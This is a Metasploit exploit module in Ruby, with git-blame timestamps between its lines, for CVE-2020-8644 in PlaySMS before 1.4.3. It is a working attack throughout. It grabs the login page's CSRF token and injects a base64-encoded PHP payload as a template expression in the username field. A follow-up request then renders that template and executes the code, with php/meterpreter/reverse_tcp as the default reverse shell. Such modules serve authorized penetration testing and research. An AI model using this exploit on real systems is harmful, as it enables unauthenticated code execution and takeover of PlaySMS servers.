2020-03-12 17:50:16 +05:30
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf :: Exploit :: Remote
2020-03-13 01:04:37 +05:30
Rank = ExcellentRanking
include Msf :: Exploit :: Remote :: HttpClient
2020-03-12 17:50:16 +05:30
2020-03-13 01:04:37 +05:30
def initialize ( info = { } )
super (
update_info (
info ,
2020-04-03 09:51:24 -04:00
'Name' = > 'PlaySMS index.php Unauthenticated Template Injection Code Execution' ,
2020-03-12 17:50:16 +05:30
'Description' = > %q{
2020-04-02 10:26:50 -05:00
This module exploits a preauth Server-Side Template Injection vulnerability that leads to remote code execution
in PlaySMS before version 1.4.3. This issue is caused by double processing a server-side template with a custom
PHP template system called 'TPL' which is used in the PlaySMS template engine at
`src/Playsms/Tpl.php:_compile()`. The vulnerability is triggered when an attacker supplied username with a
malicious payload is submitted. This malicious payload is then stored in a TPL template which when rendered a
second time, results in code execution.
2020-03-13 01:04:37 +05:30
The TPL(https://github.com/antonraharja/tpl) template language is vulnerable to PHP code injection.
This module was tested against PlaySMS 1.4 on HackTheBox's Forlic Machine.
2020-03-12 17:50:16 +05:30
} ,
2021-08-27 17:15:33 +01:00
'Author' = > [
'Touhid M.Shaikh <touhidshaikh22[at]gmail.com>' , # Metasploit Module
'Lucas Rosevear' # Found and Initial PoC by NCC Group
] ,
2020-03-12 17:50:16 +05:30
'License' = > MSF_LICENSE ,
2021-08-27 17:15:33 +01:00
'References' = > [
[ 'CVE' , '2020-8644' ] ,
[ 'URL' , 'https://www.youtube.com/watch?v=zu-bwoAtTrc' ] ,
[ 'URL' , 'https://research.nccgroup.com/2020/02/11/technical-advisory-playsms-pre-authentication-remote-code-execution-cve-2020-8644/' ]
] ,
'DefaultOptions' = > {
'SSL' = > false ,
'PAYLOAD' = > 'php/meterpreter/reverse_tcp' ,
'ENCODER' = > 'php/base64'
} ,
2020-03-13 01:04:37 +05:30
'Privileged' = > false ,
2020-03-31 01:16:20 +05:30
'Platform' = > [ 'php' ] ,
'Arch' = > ARCH_PHP ,
2021-08-27 17:15:33 +01:00
'Targets' = > [
[ 'PlaySMS Before 1.4.3' , { } ] ,
] ,
2020-03-13 01:04:37 +05:30
'DefaultTarget' = > 0 ,
2023-02-10 18:04:31 +00:00
'DisclosureDate' = > '2020-02-05' ,
'Notes' = > {
'Stability' = > [ CRASH_SAFE ] ,
'SideEffects' = > [ IOC_IN_LOGS ] ,
'Reliability' = > [ REPEATABLE_SESSION ]
}
2020-03-13 01:04:37 +05:30
)
2023-02-10 18:04:31 +00:00
)
2020-03-13 01:04:37 +05:30
register_options (
[
OptString . new ( 'TARGETURI' , [ true , 'Base playsms directory path' , '/' ] ) ,
]
)
end
def uri
return target_uri . path
end
def check
begin
2020-03-12 17:50:16 +05:30
res = send_request_cgi ( {
'method' = > 'GET' ,
2020-03-13 01:04:37 +05:30
'uri' = > normalize_uri ( uri , 'index.php' )
2020-03-12 17:50:16 +05:30
} )
2020-03-13 01:04:37 +05:30
rescue StandardError
vprint_error ( 'Unable to access the index.php file' )
return CheckCode :: Unknown
end
2020-03-12 17:50:16 +05:30
2020-03-13 01:04:37 +05:30
if res . code == 302 && res . headers [ 'Location' ] . include? ( 'index.php?app=main&inc=core_auth&route=login' )
return Exploit :: CheckCode :: Appears
2020-03-12 17:50:16 +05:30
end
2020-03-13 01:04:37 +05:30
return CheckCode :: Safe
end
# Send Payload in Login Request
def login
res = send_request_cgi ( {
'uri' = > normalize_uri ( uri , 'index.php' ) ,
'method' = > 'GET' ,
'vars_get' = > {
'app' = > 'main' ,
'inc' = > 'core_auth' ,
'route' = > 'login'
}
} )
# Grabbing CSRF token from body
/ name="X-CSRF-Token" value="(?<csrf>[a-z0-9"]+)"> / =~ res . body
2020-04-03 09:51:24 -04:00
fail_with ( Failure :: UnexpectedReply , " #{ peer } - Could not determine the CSRF token " ) if csrf . nil?
2020-03-13 01:04:37 +05:30
vprint_good ( " X-CSRF-Token for login : #{ csrf } " )
cookies = res . get_cookies
2020-04-03 09:51:24 -04:00
vprint_status ( 'Trying to send the payload in the username field...' )
2020-03-13 01:04:37 +05:30
2020-04-03 09:51:24 -04:00
# Encoded in base64 to avoid HTML TAGS which are filter by the Application which is also blocking semicolon(;), that is why we're using delete_suffix(';')
2020-04-02 17:16:19 -05:00
evil = " {{ #{ payload . encoded . delete_suffix ( ';' ) } }} "
2020-03-13 01:04:37 +05:30
# Send Payload with cookies.
res = send_request_cgi ( {
'method' = > 'POST' ,
'uri' = > normalize_uri ( uri , 'index.php' ) ,
'cookie' = > cookies ,
'vars_get' = > Hash [ {
'app' = > 'main' ,
'inc' = > 'core_auth' ,
'route' = > 'login' ,
'op' = > 'login'
} . to_a . shuffle ] ,
'vars_post' = > Hash [ {
'X-CSRF-Token' = > csrf ,
'username' = > evil ,
'password' = > ''
} . to_a . shuffle ]
} )
fail_with ( Failure :: UnexpectedReply , " #{ peer } - Did not respond to Login request " ) if res . nil?
# Request Status Check
if res . code == 302
2020-04-02 10:26:50 -05:00
print_good ( 'Payload successfully sent' )
2020-03-13 01:04:37 +05:30
return cookies
else
2020-04-02 10:26:50 -05:00
fail_with ( Failure :: UnexpectedReply , " #{ peer } - Something went wrong " )
2020-03-12 17:50:16 +05:30
end
2020-03-13 01:04:37 +05:30
end
def exploit
cookies = login
vprint_status ( " Cookies here : #{ cookies } " )
# Execute Last Sent Username.
send_request_cgi ( {
'uri' = > normalize_uri ( uri , 'index.php' ) ,
'method' = > 'GET' ,
'cookie' = > cookies ,
'vars_get' = > {
'app' = > 'main' ,
'inc' = > 'core_auth' ,
'route' = > 'login'
}
2020-04-02 17:33:36 -05:00
} , 0 )
2020-03-13 01:04:37 +05:30
end
2020-03-12 17:50:16 +05:30
end